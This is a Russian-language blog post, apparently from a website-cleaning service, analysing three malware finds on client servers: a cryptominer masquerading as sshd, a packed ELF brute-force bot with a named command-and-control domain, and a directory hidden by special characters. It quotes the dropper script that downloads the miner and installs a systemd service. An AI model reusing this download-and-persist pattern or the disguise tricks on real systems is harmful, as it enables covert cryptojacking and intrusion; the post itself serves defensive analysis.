Каждый день тысячи сайтов заражаются вирусами, троянами и другим вредоносным ПО. Уже неоднократно говорилось (тут и тут, к примеру) об источниках и способах заражения сайтов, а также их уязвимостях. В Интернете можно найти статьи и гайды о самостоятельном поиске вируса на сайте и его последующим удалении. Обычно все советы сводятся к просмотру php-файлов сайта на предмет сомнительных вставок. Порой рекомендуют искать вставки js-кода в базе данных. Но бывает, что эти рекомендации не дают должного эффекта. В последнее же время встречаются исполняемые файлы в формате ELF, содержащие вредоносный код.
Нашей целью не является полный анализ вредоносного кода, но какую-то информацию о функционале иногда извлекаем.
1. Получили заявку на лечение сайта клиента.
В данном случае клиент размещался не на виртуальном хостинге, а на vds.
Преимущественно, заражение аккаунтов происходит через различные уязвимости систем управления контентом или их дополнения, то в первую очередь запущено автоматическое сканирование файлов сайта клиента.
Антивирус не обнаружил ничего подозрительного; результата не принес и поиск с помощью регулярных выражений, а также ручной поиск по файлам и базе данных.
Далее был обнаружен процесс sshd, нагружавший процессор.
Решено было изучить сам исполняемый файл.
В глаза бросается неестественный размер файла (~14MB). Далее файл прогнан через дизассемблер, после чего был получен следующий результат:
С самого начала идет подготовка к инициализации ssl-соединения, а после этого вызывается функция xmrstak::params::inst, что не вписывается в логику работы sshd. Оригинальный демон проверяет входные данные и уже обрабатывает их — отличия видны невооруженным глазом:
В данном случае задача состоит определить функционал, хотя бы в общих чертах, и можно обойтись без отладчика. Файл в себе содержит не такое уж большое количество условных переходов, так что простым переходом по подозрительным адресам быстро добираемся до основных функций, например вычисления хэша и подобных. При этом используется алгоритм RandomX:
Изучать исполняемый код особого смысла нет, по набору данных видно, что используются функции для работы с процессором, алгоритмом RandomX и подобными.
Убеждаемся, что имеем дело с классическим майнером – XMR-stack-miner, это программа на алгоритме RandomX и его модификаций: randomx_loki и randomx_wow. Работает как на видеокартах AMD & Nvidia (GPU), так и на процессорах (CPU). Поддерживает алгоритмы RandomX, RandomWOW, RandomXL.
Более того, при ручном анализе был найден sh-скрипт, который скачивал на VDS исполняемый файл майнера и запускал соответствующий демон:
sudo wget -O /home/sysroot/sshd https://*******/****
chmod +x /home/sysroot/sshd
sudo wget -O /etc/systemd/system/multi-user.target.wants/sshd_extra.service https://xxxxxxxx/xxxxx
sudo systemctl daemon-reload
sudo systemctl enable sshd_extra.service
sudo systemctl start sshd_extra.service
На самом деле, в данном варианте можно просто пройтись по ресурсам файла (строкам, функциям и т. д.) и увидеть признаки того, что файл не является оригинальным sshd, под который он мимикрировал, но такой подход не всегда возможен и удобен.
2. В каталоге wp-content/uploads/ одного из клиентов был обнаружен файл 02jyEH формата ELF.
Изначальный размер чуть более ~2MB, но при дизассемблировании становится понятно, что файл упакован.
UPX — простой бесплатный кроссплатформенный упаковщик исполняемых файлов. После распаковки размер файла увеличился до 8MB, при этом имеется характерная структура исполняемого файла.
При просмотре секции ресурсов на предмет каких-либо строк или иных явных данных ничего вменяемого найдено не было. Позже был обнаружен домен mulakeyea.com, на котором располагался командный центр. На момент разбора файла командный центр на данном домене уже не работал.
Прямых ссылок в коде на строку с указанием домена найдено не было, что можно рассматривать как попытку скрыть строку от автоматических средств обнаружения ресурсов в исполняемых файлах.
Данное вредоносное ПО, по идее, должно регулярно обновляться, а также, возможно, имеет версии для ОС отличных от Linux. При запуске на командный сервер отправляет GET запрос с указанием версии вируса и типом ОС.
Далее вредонос отправляет на командный центр запрос с сообщением о готовности к работе.
После обработки ответа приложение должно начать выполнять один из сценариев.
Судя по названию функций и используемых в них параметров, вредонос умеет брутить доступы к админ-панелям различных CMS (Bitrix, Joomla, Wordpress, Opencart и т. д.), к панелям Cpanel, phpMyAdmin, FTP и т. д.
Также в списке процессов вредонос пытается скрыться под именем [stealth], благодаря чему с первого взгляда его можно пропустить.
К сожалению, из-за неработающего командного центра нет возможности проанализировать трафик, что дало бы больше информации о функционале ПО. Исключительно статический анализ дает лишь часть информации и возможность делать определенные предположения.
3. В этом случае сам вредонос особого интереса не представляет. Интересен же механизм сокрытия файла на диске.
Например, на скриншоте ниже выделены две директории имеющие одинаковые имена /… Но это невозможно, т. к. имена должны быть уникальны в рамках текущей директории.
В этот раз использовались специальные символы в имени файла, что позволило создать директорию с «таким же» именем. Расчет здесь на то, что файловый менеджер панели управления не сможет корректно отобразить такое имя и позволит «вредоносу» остаться незамеченным.
Фактически, такое имя выглядит примерно так:
Очень часто при заражении или взломе сайта можно обнаружить как обычные вредоносные php/js-скрипты, так и вирусы, подобные описанным выше. И даже если скрипты очистить от вставок постороннего кода, то это не означает, что больше вирусного ПО нет. Стоит вручную проверить не только файлы пользователя/сайта, но и остальные директории (в случае с VDS — Dedicated).